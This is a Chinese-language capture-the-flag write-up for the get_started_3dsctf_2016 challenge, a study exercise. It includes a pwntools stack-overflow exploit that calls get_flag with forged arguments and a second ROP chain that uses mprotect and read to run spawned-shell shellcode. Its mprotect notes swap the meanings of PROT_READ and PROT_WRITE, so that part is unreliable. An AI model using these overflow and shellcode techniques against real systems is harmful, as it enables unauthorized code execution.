分析
发现main函数中执行了gets函数,并且还存在一个get_flag函数,则考虑进行栈溢出,方法一
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]
printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al
if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}
方法一
思路很简单,就是通过gets函数溢出执行get_flag函数,并且使得a1,a2的值满足if语句
from pwn import *
# io = process("./get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",26489)
payload = b'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0) # get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()
tips:最后必须要返回exit,因为本题没有开启标准输入输出,输入输出会在缓冲区呆着,而exit执行后会将缓冲区输出,则可回显flag!!!
但有个小小疑问:本方法大概布局:'a’offset + ‘ebp’ + get_flag + get_flag的返回地址 + 参数1 + 参数2
但为啥溢出了‘ebp’ 地址则失败,我最开始payload为:payload = b’a’(56+4)+p32(0x080489A0) + p32(0x0804E6A0)+p32(0x308CD64F) + p32(0x195719D1),但失败!!
方法二
有些大牛直接通过给bss赋值,使得NX不可执行改成可执行,于是构建shellcode,这里学习一下
mprotect
int mprotect(const void *start, size_t len, int prot);
第一个参数填的是一个地址,是指需要进行操作的地址。
第二个参数是地址往后多大的长度。
第三个参数的是要赋予的权限。
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
prot=7 是可读可写可执行,记住就行,类似于chmod中的7
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。
先找一块地址将其变成可执行的
使用:readelf -S get_started_3dsctf_2016查看,可以使用bss地址空间,因为该地址空间存放全局变量,并且属于静态分配的空间。
由于要求的地址空间为4K的整数倍,因此后三位为000,即bss_addr = 0x80eb000
from pwn import *
io = process("./get_started_3dsctf_2016")
# io = remote("node4.buuoj.cn",26489)
mprotect_addr = 0x806ec80
read_addr = 0x806e140
bss_addr = 0x80eb000
pop3_ret = 0x8063adb
payload = b'a'*0x38+p32(mprotect_addr)+p32(pop3_ret)+p32(bss_addr)+p32(0x1000)+p32(0x7)+p32(read_addr)+p32(pop3_ret)+p32(0)+p32(bss_addr)+p32(0x100)+p32(bss_addr)
io.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
io.sendline(shellcode)
io.interactive()
这里pop3_ret目的是栈平衡,由于mprotect和read都是3个参数,选用三个参数的pop进行栈平衡,这块我不是很懂,得继续学习